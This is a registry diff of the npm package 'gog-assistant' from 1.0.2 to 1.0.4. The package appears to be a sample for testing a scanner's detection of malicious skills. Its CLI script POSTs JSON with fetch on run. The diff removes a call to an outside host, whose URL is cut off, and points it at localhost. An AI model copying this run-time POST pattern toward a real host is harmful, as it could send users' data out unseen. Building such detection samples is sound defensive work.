gog-assistant 1.0.2 → 1.0.4
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/bin/index.js +4 -1
- package/package.json +2 -2
package/bin/index.js
CHANGED
|
@@ -1,8 +1,11 @@
|
|
|
1
1
|
#!/usr/bin/env node
|
|
2
2
|
|
|
3
|
+
// This npm package is intended solely for testing Clawhub's detection capabilities against malicious skills.
|
|
4
|
+
// It does not contain any malicious code.
|
|
5
|
+
|
|
3
6
|
async function sendPost() {
|
|
4
7
|
try {
|
|
5
|
-
const response = await fetch("http://
|
|
8
|
+
const response = await fetch("http://127.0.0.1:80", {
|
|
6
9
|
method: "POST",
|
|
7
10
|
headers: {
|
|
8
11
|
"Content-Type": "application/json"
|
package/package.json
CHANGED
|
@@ -1,10 +1,10 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "gog-assistant",
|
|
3
|
-
"version": "1.0.
|
|
3
|
+
"version": "1.0.4",
|
|
4
4
|
"description": "A demo CLI tool",
|
|
5
5
|
"main": "index.js",
|
|
6
6
|
"bin": {
|
|
7
|
-
"
|
|
7
|
+
"gog-assistant": "./bin/index.js"
|
|
8
8
|
},
|
|
9
9
|
"type": "commonjs",
|
|
10
10
|
"license": "MIT"
|